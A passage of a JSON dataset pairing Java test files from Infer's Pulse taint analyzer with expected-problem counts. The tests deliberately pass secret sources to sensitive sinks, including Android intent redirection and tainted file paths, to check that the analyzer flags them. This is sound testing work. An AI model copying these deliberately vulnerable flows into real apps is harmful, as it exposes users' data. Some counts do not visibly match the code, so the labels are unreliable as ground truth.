}\n}\n" + }, + { + "testname": "Exceptions.java", + "testlanguage": "java", + "expected-problems": 42, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nclass Exceptions {\n\n static native void mayExcept() throws Exception;\n\n public static void FN_sinkInCatchBad1() {\n Object source = InferTaint.inferSecretSource();\n try {\n mayExcept();\n } catch (Exception e) {\n InferTaint.inferSensitiveSink(source);\n }\n }\n\n public static void FN_sinkInCatchBad2() {\n Object source = null;\n try {\n source = InferTaint.inferSecretSource();\n mayExcept();\n } catch (Exception e) {\n InferTaint.inferSensitiveSink(source);\n }\n }\n\n public static void FN_sinkAfterCatchBad() {\n Object source = InferTaint.inferSecretSource();\n try {\n mayExcept();\n source = null;\n } catch (Exception e) {\n }\n InferTaint.inferSensitiveSink(source);\n }\n\n public static void sinkAfterCatchOk() {\n Object source = InferTaint.inferSecretSource();\n try {\n mayExcept();\n source = null;\n } catch (Exception e) {\n source = null;\n }\n InferTaint.inferSensitiveSink(source);\n }\n\n public static void sinkInFinallyBad1() throws Exception {\n Object source = InferTaint.inferSecretSource();\n try {\n mayExcept();\n } finally {\n InferTaint.inferSensitiveSink(source);\n }\n }\n\n public static void sinkInFinallyBad2() throws Exception {\n Object source = null;\n try {\n mayExcept();\n source = InferTaint.inferSecretSource();\n } finally {\n InferTaint.inferSensitiveSink(source);\n }\n }\n\n public static void FN_sinkInFinallyBad3() {\n Object source = null;\n try {\n mayExcept();\n } catch (Exception e) {\n source = InferTaint.inferSecretSource();\n } finally {\n InferTaint.inferSensitiveSink(source);\n }\n }\n\n public static void sinkAfterFinallyOk1() throws Exception {\n Object source = InferTaint.inferSecretSource();\n try {\n mayExcept();\n } finally {\n source = null;\n }\n InferTaint.inferSensitiveSink(source);\n }\n\n public static void sinkAfterFinallyOk2() {\n Object source = null;\n try {\n mayExcept();\n source = InferTaint.inferSecretSource();\n } catch (Exception e) {\n source = InferTaint.inferSecretSource();\n } finally {\n source = null;\n }\n InferTaint.inferSensitiveSink(source);\n }\n\n public static void callSinkThenThrow(Object param) throws Exception {\n InferTaint.inferSensitiveSink(param);\n throw new Exception();\n }\n\n public static void callSinkThenThrowBad() throws Exception {\n callSinkThenThrow(InferTaint.inferSecretSource());\n }\n\n public static void doThrow(Object param) throws RuntimeException {\n throw new RuntimeException(param.toString());\n }\n\n // FN because object initialization of the exception thrown in doThrow(), which is\n // [java.lang.RuntimeException.], is treated as an unknown function. The unknown function\n // heuristic is defeated by this form of call. We should revisit the unknown function heuristic to\n // be more like the taint unknown function heuristic and detect assignment via the first argument,\n // or just model [] unknown functions separately\n public static void FN_callSinkWithSourceInsideExceptionObjectBad() {\n try {\n doThrow(InferTaint.inferSecretSource());\n } catch (RuntimeException e) {\n InferTaint.inferSensitiveSink(e);\n }\n }\n}\n" + }, + { + "testname": "ExternalSpecs.java", + "testlanguage": "java", + "expected-problems": 68, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport android.app.Activity;\nimport android.content.Intent;\nimport android.util.Log;\n\n/** Testing that sources and sinks specified in external JSON work correctly */\npublic class ExternalSpecs {\n\n // we specify this as a source with kind PrivateData in .inferconfig\n private static Object privateDataSource() {\n return new Object();\n }\n\n public static void logExternalSourceBad() {\n Log.e(\"\", (String) privateDataSource());\n }\n\n // we specified that this is a private data source, so passing it an intent sink like\n // startActivity() is fine\n public static void externalSourceAsIntentOk(Activity activity) {\n activity.startActivity((Intent) privateDataSource());\n }\n\n // we specify that index 1 is an external sink with type Logging in .inferconfig\n public static void loggingSink1(Object notASink, Object sink) {}\n\n public static void callExternalSinkBad() {\n loggingSink1(null, privateDataSource());\n }\n\n // passing to non-tainted param\n public static void callExternalSinkOk1() {\n loggingSink1(privateDataSource(), null);\n }\n\n // passing intent source to logging sink is fine\n public static void callExternalSinkOk2(Activity activity) {\n loggingSink1(null, activity.getIntent());\n }\n\n // we specify that all the indices are tainted with type Logging in .inferconfig\n public static void loggingSink2(Object sink1, Object sink2) {}\n\n public static void callExternalSink2Bad1() {\n loggingSink2(privateDataSource(), null);\n }\n\n public static void callExternalSink2Bad2() {\n loggingSink2(null, privateDataSource());\n }\n\n // passing intent sources to logging sink is fine\n public static void callExternalSink2Ok(Activity activity) {\n loggingSink2(activity.getIntent(), activity.getIntent());\n }\n\n static Object sanitizer(Object o) {\n return o;\n }\n\n void viaSanitizerOk() {\n Object source = InferTaint.inferSecretSource();\n Object sanitized = sanitizer(source);\n InferTaint.inferSensitiveSink(sanitized);\n }\n\n void sanitizeFootprint(Object o) {\n Object sanitized = sanitizer(o);\n InferTaint.inferSensitiveSink(sanitized);\n }\n\n void callSanitizeFootprintOk() {\n sanitizeFootprint(InferTaint.inferSecretSource());\n }\n\n Object returnSanitizedSource() {\n Object source = InferTaint.inferSecretSource();\n return sanitizer(source);\n }\n\n void callSinkOnSanitizedSourceOk() {\n InferTaint.inferSensitiveSink(returnSanitizedSource());\n }\n\n Object aliasSanitizerOk() {\n Object source = InferTaint.inferSecretSource();\n Object sanitized = sanitizer(source);\n InferTaint.inferSensitiveSink(source);\n return sanitized;\n }\n\n void sanitizeOneBranchBad(boolean b) {\n Object source = InferTaint.inferSecretSource();\n Object o;\n if (b) {\n o = sanitizer(source);\n } else {\n o = source;\n }\n InferTaint.inferSensitiveSink(o);\n }\n\n Object sanitizeOneBranchInCallee(Object o, boolean b) {\n if (b) {\n return sanitizer(o);\n } else {\n return o;\n }\n }\n\n void sanitizerWeakUpdateBad(boolean b) {\n Object source = InferTaint.inferSecretSource();\n Object o = sanitizeOneBranchInCallee(source, b);\n InferTaint.inferSensitiveSink(o);\n }\n\n // if theres' a procedure with the same name defined in .inferconfig as a sink on parameter 1,\n // we shouldn't crash\n public static void loggingSink1() {}\n\n // we shouldn't fail when calling this either\n public static void loggingSink1(Object notASink) {}\n\n void callLoggingSink1sOk(Object o) {\n loggingSink1();\n loggingSink1(o);\n }\n\n public static Object sinkThatPropagates(Object o) {\n return o;\n }\n\n void callSinkThatPropagatesBad() {\n Object source = privateDataSource();\n Object sourceAgain = sinkThatPropagates(source); // should report\n loggingSink1(null, sourceAgain); // should report here too\n }\n\n\n // the source is sanitized *after* the sink, which is bad\n Object sinkAndThenSanitizer(Object source) {\n InferTaint.inferSensitiveSink(source);\n return sanitizer(source);\n }\n\n // we do not check the order in which sink and sanitizer have been\n // encountered in the same procedure\n Object FN_callSinkAndThenSanitizerBad() {\n return sinkAndThenSanitizer(InferTaint.inferSecretSource());\n }\n}\n\ninterface InterfaceSpec {\n\n // marked as source in .inferconfig\n public Object source();\n\n // marked as sink in .inferconfig\n public void sink(Object o);\n}\n\nclass InterfaceSpecImpl implements InterfaceSpec {\n\n @Override\n public Object source() {\n return new Object();\n }\n\n @Override\n public void sink(Object o) {}\n\n public void externalSpecBad() {\n sink(source());\n }\n}\n\nclass ConstructorSink {\n\n // specified as a source in .inferconfig\n public ConstructorSink(Object o) {}\n\n public static ConstructorSink constructorSinkBad() {\n Object source = InferTaint.inferSecretSource();\n return new ConstructorSink(source);\n }\n}\n" + }, + { + "testname": "Fields.java", + "testlanguage": "java", + "expected-problems": 29, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic class Fields {\n\n static class Obj {\n Object f;\n Obj g;\n }\n\n Object mFld;\n static Object sFld;\n\n static Object sourceField;\n static Object sinkField;\n static Object regularField;\n\n /** should report on these tests */\n void instanceFieldBad() {\n this.mFld = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(this.mFld);\n }\n\n void staticFieldBad() {\n sFld = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(sFld);\n }\n\n void viaFieldBad1(Obj obj) {\n obj.f = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(obj.f);\n }\n\n void viaFieldBad2() {\n Obj obj = new Obj();\n obj.f = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(obj.f);\n }\n\n void viaFieldBad3() {\n Obj obj = new Obj();\n obj.f = InferTaint.inferSecretSource();\n Object src = obj.f;\n InferTaint.inferSensitiveSink(src);\n }\n\n void viaNestedFieldBad1(Obj obj) {\n obj.g.f = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(obj.g.f);\n }\n\n void viaNestedFieldBad2() {\n Obj obj = new Obj();\n obj.g = new Obj();\n obj.g.f = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(obj.g.f);\n }\n\n /** should not report on these tests */\n void viaFieldOk() {\n Obj obj = new Obj();\n obj.f = InferTaint.inferSecretSource();\n obj.g = new Obj();\n InferTaint.inferSensitiveSink(obj.g);\n }\n\n void viaFieldStrongUpdateOk() {\n Obj obj = new Obj();\n obj.f = InferTaint.inferSecretSource();\n obj.f = null;\n InferTaint.inferSensitiveSink(obj.f);\n }\n\n void viaNestedFieldOK1(Obj obj) {\n obj.g.f = InferTaint.inferSecretSource();\n obj.g.f = null;\n InferTaint.inferSensitiveSink(obj.g.f);\n }\n\n void viaNestedFieldOK2() {\n Obj obj = new Obj();\n obj.g = new Obj();\n obj.g.f = InferTaint.inferSecretSource();\n obj.g.f = null;\n InferTaint.inferSensitiveSink(obj.g.f);\n }\n\n void aliasBad1() {\n Obj obj1 = new Obj();\n Obj obj2 = obj1;\n obj2.f = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(obj1.f);\n }\n\n void aliasBad2(Obj obj) {\n Obj x = obj.g;\n x.f = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(obj.g.f);\n }\n\n void loopFieldTwoIterationsBad(Obj obj, int i) {\n Obj loopObj = obj;\n while (i < 10) {\n loopObj.f = InferTaint.inferSecretSource();\n loopObj = loopObj.g;\n i++;\n }\n InferTaint.inferSensitiveSink(obj.g.f);\n }\n\n void FN_loopFieldFiveIterationsBad(Obj obj, int i) {\n Obj loopObj = obj;\n while (i < 10) {\n loopObj.f = InferTaint.inferSecretSource();\n loopObj = loopObj.g;\n i++;\n }\n InferTaint.inferSensitiveSink(obj.g.g.g.g.f);\n }\n\n void fieldAsSourceOk() {\n InferTaint.inferSensitiveSink(regularField);\n }\n\n void fieldAsSinkOk() {\n Object source = InferTaint.inferSecretSource();\n regularField = source;\n }\n\n void fieldAsSourceBad() {\n InferTaint.inferSensitiveSink(sourceField);\n }\n\n void fieldAsSinkBad() {\n Object source = InferTaint.inferSecretSource();\n sinkField = source;\n }\n}\n" + }, + { + "testname": "Files.java", + "testlanguage": "java", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport java.io.File;\nimport java.nio.file.FileSystems;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\n\npublic class Files {\n\n public File fileConstructorSinkBad() {\n String taintedString = (String) InferTaint.inferSecretSource();\n return new File(taintedString);\n }\n\n public Path fileSystemConstructorSinkBad1() {\n String taintedString = (String) InferTaint.inferSecretSource();\n return FileSystems.getDefault().getPath(taintedString);\n }\n\n public Path fileSystemConstructorSinkBad2() {\n String taintedString = (String) InferTaint.inferSecretSource();\n return FileSystems.getDefault().getPath(\"\", taintedString);\n }\n\n public Path pathsSinkBad1() {\n String taintedString = (String) InferTaint.inferSecretSource();\n return Paths.get(taintedString);\n }\n\n public Path pathsSinkBad2() {\n String taintedString = (String) InferTaint.inferSecretSource();\n return Paths.get(\"\", taintedString);\n }\n}\n" + }, + { + "testname": "FlowSensitivity.java", + "testlanguage": "java", + "expected-problems": 23, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n/** making sure the traces we report respect control-flow */\nclass FlowSensitivity {\n\n static class Obj {\n Object f;\n }\n\n static void callSink(Obj o) {\n InferTaint.inferSensitiveSink(o.f);\n }\n\n static void returnSource(Obj o) {\n o.f = InferTaint.inferSecretSource();\n }\n\n static void interproceduralFlowSensitivityOk1(Obj o) {\n InferTaint.inferSensitiveSink(o.f);\n returnSource(o);\n }\n\n static void interproceduralFlowSensitivityOk2(Obj o) {\n callSink(o);\n o.f = InferTaint.inferSecretSource();\n }\n\n static void interproceduralFlowSensitivityOk3(Obj o) {\n callSink(o);\n returnSource(o);\n }\n\n static void interproceduralFlowSensitivityBad(Obj o) {\n returnSource(o);\n callSink(o);\n }\n\n static void sourceAndSink(Obj o) {\n InferTaint.inferSensitiveSink(o.f);\n o.f = InferTaint.inferSecretSource();\n }\n\n static void callSourceAndSinkOk(Obj o) {\n sourceAndSink(o);\n }\n\n static void callSourceAndSinkBad1(Obj o) {\n sourceAndSink(o);\n InferTaint.inferSensitiveSink(o.f);\n }\n\n static void callSourceAndSinkBad2(Obj o) {\n o.f = InferTaint.inferSecretSource();\n sourceAndSink(o);\n }\n}\n" + }, + { + "testname": "InferBaseSource.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n/**\n * To test taint config based a class name and method return type. In that case only methods\n * returning `String` are considered as sources.\n */\npublic class InferBaseSource {\n\n public String inferBaseSecretSource() {\n return \"secret\";\n }\n\n public Object inferBaseNotSource() {\n return new Object();\n }\n}\n" + }, + { + "testname": "InferChildSource.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n/**\n * To test taint config based a class name and method return type. In that case only methods\n * returning `String` are considered as sources.\n */\npublic class InferChildSource extends InferBaseSource {\n\n public String inferChildSecretSource() {\n return \"secret\";\n }\n\n public Object inferChildNotSource() {\n return new Object();\n }\n}\n" + }, + { + "testname": "InferTaint.java", + "testlanguage": "java", + "expected-problems": 34, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n/**\n * WARNING! These methods are for testing the taint analysis only! Don't use them in models or in\n * real code.\n */\npublic class InferTaint {\n\n public static Object object_undefined() {\n return new Object();\n }\n\n // these are to test whether we can add a taint spec to methods that have an implementation\n public static Object inferSecretSource() {\n Object o = object_undefined();\n return o;\n }\n\n public static String inferSecretStringSource() {\n return \"secret\";\n }\n\n public static void inferSensitiveSink(Object iMightBeTainted) {}\n\n public static Object inferUniversalSanitizer(Object iMightBeTainted) {\n return iMightBeTainted;\n }\n\n // these are to test whether we can add a taint spec to undefined methods\n public static native Object inferSecretSourceUndefined();\n\n public static native void inferSensitiveSinkUndefined(Object iMightBeTainted);\n\n // these are to test that only calls of functions with the same names from InferTaintSinks are\n // recognized as sinks based on class_name_regex config\n public static void sink1(Object iMightBeTainted) {}\n\n public static void sink2(Object iMightBeTainted) {}\n\n public static void addCallback(Callback callback) {}\n\n // these are to test class name + method name regexes matcher combination\n public static void regexSink(Object iMightBeTainted) {}\n\n public static void notRegexSink(Object iMightBeTainted) {}\n}\n" + }, + { + "testname": "InferTaintSinks.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse.sinks;\n\n/**\n * WARNING! These methods are for testing the taint analysis only! Don't use them in models or in\n * real code.\n */\npublic class InferTaintSinks {\n\n public static void sink1(Object iMightBeTainted) {}\n\n public static void sink2(Object iMightBeTainted) {}\n}\n" + }, + { + "testname": "InferTaintSources.java", + "testlanguage": "java", + "expected-problems": 24, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n/**\n * WARNING! These methods are for testing the taint analysis only! Don't use them in models or in\n * real code.\n */\npublic class InferTaintSources {\n\n @SensitiveSourceMarker\n static class Sources {\n\n static Object source1() {\n return new Object();\n }\n\n static Object source2() {\n return new Object();\n }\n }\n\n static class NotSources {\n\n static Object notSource() {\n return new Object();\n }\n\n static Object sourceButNotReally() {\n return new Object();\n }\n }\n\n static class RegexSources {\n\n static Object source1() {\n return new Object();\n }\n\n static Object source2() {\n return new Object();\n }\n\n static Object notSource() {\n return new Object();\n }\n }\n\n @SensitiveSourceMarker2\n static class RegexAndAnnotationSources {\n\n static Object source1() {\n return new Object();\n }\n\n static Object source2() {\n return new Object();\n }\n\n static Object notSource() {\n return new Object();\n }\n }\n\n static class RegexAndAnnotationNotSources {\n\n static Object sourceButNotReally() {\n return new Object();\n }\n\n static Object notSource() {\n return new Object();\n }\n }\n}\n" + }, + { + "testname": "Intents.java", + "testlanguage": "java", + "expected-problems": 55, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport android.app.Activity;\nimport android.app.Service;\nimport android.content.BroadcastReceiver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.IntentSender.SendIntentException;\nimport android.net.Uri;\nimport android.os.Bundle;\nimport android.os.IBinder;\nimport java.io.IOException;\nimport java.net.URISyntaxException;\nimport java.util.List;\nimport org.xmlpull.v1.XmlPullParserException;\n\nclass IntentSubclass extends Intent {}\n\nabstract class ContextSubclass extends Context {}\n\nclass MyActivity extends Activity {\n\n @Override\n // intent is modeled as tainted\n public void onActivityResult(int requestCode, int resultCode, Intent intent) {\n startService(intent);\n }\n\n @Override\n // intent is modeled as tainted\n public void onNewIntent(Intent intent) {\n startService(intent);\n }\n\n private BroadcastReceiver mReceiver;\n private Uri mUri;\n\n @Override\n public void onCreate(Bundle savedInstanceState) {\n mReceiver =\n new BroadcastReceiver() {\n @Override\n // intent is modeled as tainted\n public void onReceive(Context context, Intent intent) {\n mUri = intent.getData();\n }\n };\n registerReceiver(mReceiver, null);\n }\n\n @Override\n public void onResume() {\n startServiceWithTaintedIntent();\n }\n\n void startServiceWithTaintedIntent() {\n Intent taintedIntent = new Intent(\"\", mUri);\n startService(taintedIntent);\n }\n}\n\nclass MyBroadcastReceiver extends BroadcastReceiver {\n\n Activity mActivity;\n\n @Override\n // intent is modeled as tainted\n public void onReceive(Context context, Intent intent) {\n mActivity.startService(intent);\n }\n}\n\nclass MyService extends Service {\n\n Activity mActivity;\n\n @Override\n // intent is modeled as tainted\n public IBinder onBind(Intent intent) {\n mActivity.startService(intent);\n return null;\n }\n\n @Override\n // intent is modeled as tainted\n public void onRebind(Intent intent) {\n mActivity.startService(intent);\n }\n\n @Override\n // intent is modeled as tainted\n public void onStart(Intent intent, int startId) {\n mActivity.startService(intent);\n }\n\n @Override\n // intent is modeled as tainted\n public int onStartCommand(Intent intent, int flags, int startId) {\n mActivity.startService(intent);\n return 0;\n }\n\n @Override\n // intent is modeled as tainted\n public void onTaskRemoved(Intent intent) {\n mActivity.startService(intent);\n }\n\n @Override\n // intent is modeled as tainted\n public boolean onUnbind(Intent intent) {\n mActivity.startService(intent);\n return false;\n }\n}\n\npublic class Intents {\n\n private native int rand();\n\n public void callAllActivitySinksBad(Activity activity)\n throws SendIntentException, IOException, URISyntaxException, XmlPullParserException {\n Uri taintedUri = (Uri) InferTaint.inferSecretSource();\n Intent intent = new Intent(\"\", taintedUri);\n\n // 20 sinks, 20 expected reports\n activity.bindService(intent, null, 0);\n activity.sendBroadcast(intent);\n activity.sendBroadcastAsUser(intent, null);\n activity.sendOrderedBroadcast(intent, null);\n activity.sendOrderedBroadcastAsUser(intent, null, null, null, null, 0, null, null);\n activity.sendStickyBroadcast(intent);\n activity.sendStickyBroadcastAsUser(intent, null);\n activity.sendStickyOrderedBroadcast(intent, null, null, 0, null, null);\n activity.sendStickyOrderedBroadcastAsUser(intent, null, null, null, 0, null, null);\n activity.startActivities(new Intent[] {intent});\n activity.startActivity(intent);\n activity.startActivityForResult(intent, 0);\n activity.startActivityIfNeeded(intent, 0);\n activity.startActivityFromChild(null, intent, 0);\n activity.startActivityFromFragment(null, intent, 0);\n activity.startIntentSender(null, intent, 0, 0, 0);\n activity.startIntentSenderForResult(null, 0, intent, 0, 0, 0);\n activity.startIntentSenderFromChild(null, null, 0, intent, 0, 0, 0);\n activity.startService(intent);\n activity.stopService(intent);\n }\n\n public void callAllIntentSinks() throws IOException, URISyntaxException, XmlPullParserException {\n String taintedString = (String) InferTaint.inferSecretSource();\n Intent.parseUri(taintedString, 0);\n Intent.getIntent(taintedString);\n Intent.getIntentOld(taintedString);\n\n Uri taintedUri = (Uri) InferTaint.inferSecretSource();\n Intent i = new Intent();\n i.setClassName(taintedString, \"\");\n i.setData(taintedUri);\n i.setDataAndNormalize(taintedUri);\n i.setDataAndType(taintedUri, \"\");\n i.setDataAndTypeAndNormalize(taintedUri, \"\");\n i.setPackage(taintedString); // 9 sinks, 9 expected reports\n }\n\n // make sure the rules apply to subclasses of Intent and Context too\n void subclassCallBad(IntentSubclass intent, ContextSubclass context) {\n String taintedString = (String) InferTaint.inferSecretSource();\n intent.setAction(taintedString);\n context.startActivity(intent);\n }\n\n void reuseIntentBad(Activity activity) {\n activity.startActivity(activity.getIntent());\n }\n\n Activity mActivity;\n\n void extraToDataBad() {\n Intent taintedIntent = (Intent) InferTaint.inferSecretSource();\n String extra = taintedIntent.getStringExtra(\"foo\");\n\n Intent newIntent1 = new Intent();\n newIntent1.setData(Uri.parse(extra)); // should report\n Intent newIntent2 = new Intent();\n newIntent2.setData(Uri.parse(extra)); // should report\n }\n\n void extraToExtraBad() {\n Intent taintedIntent = (Intent) InferTaint.inferSecretSource();\n String extra = taintedIntent.getStringExtra(\"foo\");\n\n Intent newIntent = new Intent();\n newIntent.putExtra(\"foo\", extra);\n mActivity.startActivity(newIntent);\n }\n\n List mIntents;\n\n Context mContext;\n\n void callStartWithArrayOk() {\n Intent[] intents = mIntents.toArray(new Intent[mIntents.size()]);\n intents[0] = new Intent(intents[0]).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n if (startWithArrayOk(mContext, intents)) {\n mContext.startActivity(intents[1]);\n }\n }\n\n boolean startWithArrayOk(Context context, Intent[] newIntents) {\n context.startActivities(newIntents, null);\n return true;\n }\n\n void startWithClassLiteralOk() {\n mActivity.startActivity(new Intent(mActivity, MyActivity.class));\n }\n\n void startWithUri1Bad(Uri uri) {\n mActivity.startActivity(new Intent(\"action\", uri));\n }\n\n void startWithUri2Bad(Uri uri) {\n mActivity.startActivity(new Intent(\"action\", uri, mActivity, MyActivity.class));\n }\n}\n" + }, + { + "testname": "Interprocedural.java", + "testlanguage": "java", + "expected-problems": 184, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nclass Interprocedural {\n\n Object f;\n\n static Object sGlobal;\n\n static class Obj {\n Object f;\n }\n\n public static Object id(Object param) {\n return param;\n }\n\n /** source tests */\n public static Object returnSourceDirect() {\n return InferTaint.inferSecretSource();\n }\n\n public static Object returnSourceIndirect() {\n return returnSourceDirect();\n }\n\n public static void returnSourceDirectBad() {\n InferTaint.inferSensitiveSink(returnSourceDirect());\n }\n\n public static void returnSourceDirectViaVarBad() {\n Object source = returnSourceDirect();\n InferTaint.inferSensitiveSink(source);\n }\n\n public static void returnSourceIndirectBad() {\n InferTaint.inferSensitiveSink(returnSourceIndirect());\n }\n\n public static Obj returnSourceViaField() {\n Obj o = new Obj();\n o.f = InferTaint.inferSecretSource();\n return o;\n }\n\n public static void returnSourceViaFieldBad() {\n InferTaint.inferSensitiveSink(returnSourceViaField().f);\n }\n\n public static void returnSourceViaParameter1(Obj o) {\n o.f = InferTaint.inferSecretSource();\n }\n\n public static void returnSourceViaParameter1Bad(Obj o) {\n returnSourceViaParameter1(o);\n InferTaint.inferSensitiveSink(o.f);\n }\n\n public static void returnSourceViaParameter2(Obj o1, Obj o2) {\n o2.f = o1.f;\n }\n\n public static void returnSourceViaParameter2Bad(Obj o1, Obj o2) {\n o1.f = InferTaint.inferSecretSource();\n returnSourceViaParameter2(o1, o2);\n InferTaint.inferSensitiveSink(o2.f);\n }\n\n public static void returnSourceViaParameterOk(Obj o1, Obj o2) {\n o1.f = InferTaint.inferSecretSource();\n returnSourceViaParameter2(o2, o1);\n InferTaint.inferSensitiveSink(o2.f);\n }\n\n public static void returnSourceViaGlobal() {\n sGlobal = InferTaint.inferSecretSource();\n }\n\n public void returnSourceViaGlobalBad() {\n returnSourceViaGlobal();\n InferTaint.inferSensitiveSink(sGlobal);\n }\n\n public void returnSourceViaGlobalOk() {\n returnSourceViaGlobal();\n sGlobal = null;\n InferTaint.inferSensitiveSink(sGlobal);\n }\n\n /** sink tests */\n public static void callSinkParam1(Object param1, Object param2) {\n InferTaint.inferSensitiveSink(param1);\n }\n\n public static void callSinkParam1Bad() {\n callSinkParam1(InferTaint.inferSecretSource(), null);\n }\n\n public static void callSinkParam1Ok() {\n callSinkParam1(null, InferTaint.inferSecretSource());\n }\n\n public static void callSinkParam2(Object param1, Object param2) {\n InferTaint.inferSensitiveSink(param2);\n }\n\n public static void callSinkParam2Bad() {\n callSinkParam2(null, InferTaint.inferSecretSource());\n }\n\n public static void callSinkParam2Ok() {\n callSinkParam2(InferTaint.inferSecretSource(), null);\n }\n\n public void callSinkOnFieldDirect() {\n InferTaint.inferSensitiveSink(this.f);\n }\n\n public void callSinkOnFieldDirectBad() {\n this.f = InferTaint.inferSecretSource();\n callSinkOnFieldDirect();\n }\n\n public static void callSinkOnFieldIndirect(Obj param) {\n InferTaint.inferSensitiveSink(param.f);\n }\n\n public static void callSinkOnFieldIndirectBad() {\n Obj obj = new Obj();\n obj.f = InferTaint.inferSecretSource();\n callSinkOnFieldIndirect(obj);\n }\n\n public Object getF() {\n return f;\n }\n\n void callSinkOnLocal() {\n Object local = this.getF();\n InferTaint.inferSensitiveSink(local);\n }\n\n void callSinkOnLocalBad() {\n this.f = InferTaint.inferSecretSource();\n callSinkOnLocal();\n }\n\n public static void callSinkOnGlobal() {\n InferTaint.inferSensitiveSink(sGlobal);\n }\n\n public static void callSinkOnGlobalBad() {\n sGlobal = InferTaint.inferSecretSource();\n callSinkOnGlobal();\n }\n\n public static void callSinkOnGlobalOk() {\n sGlobal = InferTaint.inferSecretSource();\n sGlobal = null;\n callSinkOnGlobal();\n }\n\n public static void setGlobal(Object o) {\n sGlobal = o;\n }\n\n public static void setGlobalThenCallSinkBad() {\n setGlobal(InferTaint.inferSecretSource());\n callSinkOnGlobal();\n }\n\n public static Object getGlobal() {\n return sGlobal;\n }\n\n public static void getGlobalThenCallSink() {\n Object local = getGlobal();\n InferTaint.inferSensitiveSink(sGlobal);\n }\n\n public static void getGlobalThenCallSinkBad() {\n sGlobal = InferTaint.inferSecretSource();\n getGlobalThenCallSink();\n }\n\n // this should report two alarms, not three\n public void callSinkNoTripleReportBad() {\n Object source = InferTaint.inferSecretSource();\n callSinkParam1(source, null);\n callSinkParam2(null, source);\n }\n\n /** passthrough tests */\n public static void singlePassthroughBad() {\n Object source = InferTaint.inferSecretSource();\n Object launderedSource = id(source);\n InferTaint.inferSensitiveSink(launderedSource);\n }\n\n public static void doublePassthroughBad() {\n Object source = InferTaint.inferSecretSource();\n Object launderedSource1 = id(source);\n Object launderedSource2 = id(launderedSource1);\n InferTaint.inferSensitiveSink(launderedSource2);\n }\n\n /** false positives: an ideal analysis would not report these, but we will */\n public static Object returnSourceConditional(boolean b) {\n if (b) return InferTaint.inferSecretSource();\n return null;\n }\n\n public static void trackParamsOk() {\n InferTaint.inferSensitiveSink(returnSourceConditional(false));\n }\n\n public static void reassignInCallee(Obj o) {\n o.f = null;\n }\n\n public static void reassignInCallee() {\n Obj o = new Obj();\n o.f = InferTaint.inferSecretSource();\n reassignInCallee(o);\n InferTaint.inferSensitiveSink(o.f);\n }\n\n static Object relevantPassthrough(Object param) {\n return param;\n }\n\n static Object irrelevantPassthrough(Object param) {\n return param;\n }\n\n // the following tests should show only \"relevantPassthrough\" in their traces\n public static Object irrelevantPassthroughsIntraprocedural(Object param) {\n Object irrelevant = irrelevantPassthrough(param);\n Object source = InferTaint.inferSecretSource();\n Object relevant = relevantPassthrough(source);\n InferTaint.inferSensitiveSink(relevant);\n return irrelevantPassthrough(relevant);\n }\n\n public static Object returnSourceIrrelevantPassthrough(Object param) {\n Object irrelevant = irrelevantPassthrough(param);\n Object source = InferTaint.inferSecretSource();\n return relevantPassthrough(source);\n }\n\n public static Object irrelevantPassthroughsSourceInterprocedural(Object o) {\n Object irrelevant = irrelevantPassthrough(o);\n Object source = returnSourceIrrelevantPassthrough(irrelevant);\n Object relevant = relevantPassthrough(source);\n InferTaint.inferSensitiveSink(relevant);\n return irrelevantPassthrough(source);\n }\n\n public static Object callSinkIrrelevantPassthrough(Object param) {\n Object relevant = relevantPassthrough(param);\n InferTaint.inferSensitiveSink(relevant);\n Object 